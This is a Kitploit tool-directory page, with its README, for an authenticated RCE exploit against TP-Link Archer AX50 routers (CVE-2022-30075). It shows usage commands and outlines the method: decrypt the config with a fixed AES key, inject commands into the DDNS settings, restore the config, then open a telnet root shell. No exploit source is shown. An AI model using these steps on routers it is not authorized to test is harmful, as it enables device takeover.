Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
TP-L-NK-SIZMA-EXPLO-T — TP-Link Router Authenticated RCE Exploit (CVE-2022-30075) Bu araç, TP-Link Archer AX50 ve bazı diğer TP-Link router modellerinde bulunan **CVE-2022-30075** güvenlik açığını kullanarak kimliği doğrulanmış uzaktan komut çalıştırma (Authenticated Remote Code Execution) işlemi gerçekleştirir. | Kitploit
Tools/GitHubGitHub/rhestcorp/tp-l-nk-sizma-explo-t
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlHardware & IoT Security
GitHubrhestcorp/tp-l-nk-sizma-explo-t

TP-L-NK-SIZMA-EXPLO-T

View Repository
135 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

TP-Link Router Authenticated RCE Exploit (CVE-2022-30075) Bu araç, TP-Link Archer AX50 ve bazı diğer TP-Link router modellerinde bulunan **CVE-2022-30075** güvenlik açığını kullanarak kimliği doğrulanmış uzaktan komut çalıştırma (Authenticated Remote Code Execution) işlemi gerçekleştirir.

Share

TP-LiNK-SIZMA-EXPLOiT

TP-Link Router Authenticated RCE Exploit (CVE-2022-30074) This tool performs authenticated remote code execution using the CVE-2022-30075 vulnerability found in TP-Link Archer AX50 and some other TP-Link router models.

TP-Link Router Authenticated RCE Exploit (CVE-2022-30075)

This tool performs authenticated remote code execution using the CVE-2022-30075 vulnerability found in TP-Link Archer AX50 and some other TP-Link router models.

Warning

USING THIS TOOL ON UNAUTHORIZED SYSTEMS IS A CRIME

  • Only use on devices you own or have permission to test
  • Unauthorized use is illegal and carries legal consequences
  • Ensure compliance with local laws before using this tool
  • The developers are not responsible for any damages resulting from misuse of this tool

Features

  • Download and decrypt the router configuration file
  • Inject custom commands into DDNS settings
  • Encrypt the modified configuration and restore it to the router
  • Provide root shell access on the router (via telnet)

Affected Devices

  • TP-Link Archer AX50 (tested)
  • Some other TP-Link router models may also be affected

Requirements

root@kitploit:~
pip install requests pycryptodome

Usage

Basic usage

root@kitploit:~
python exploit.py -t 192.168.0.1 -p router_password

Usage with custom command.

root@kitploit:~
python exploit.py -t 192.168.0.1 -p router_password -c "touch /tmp/exploit"

Backup and decrypt only

root@kitploit:~
python exploit.py -t 192.168.0.1 -p router_password -b

Restore encrypted directory only

root@kitploit:~
python exploit.py -t 192.168.0.1 -p router_password -r /path/to/decrypted_directory

PARAMETERS

-t | Router IP address (required)

-p | Router admin password (required)

-c | Command to execute (default: telnetd)

-b | Backup and decrypt only

-r | Restore encrypted directory only

WORKING PRINCIPLE

Authentication - Login to the router with admin password

Configuration Download - Retrieve encrypted configuration file from router

Decryption - Decrypt configuration using a fixed AES key

Command Injection - Add target command to DDNS settings

Encryption - Re-encrypt the modified configuration

Restore - Upload the fake configuration to the router

Access - After router reboots, connect to root shell via telnet

Successful Usage

A few minutes after the router reboots:

root@kitploit:~
telnet 192.168.0.1

you can access the root shell with that command.

Download Tool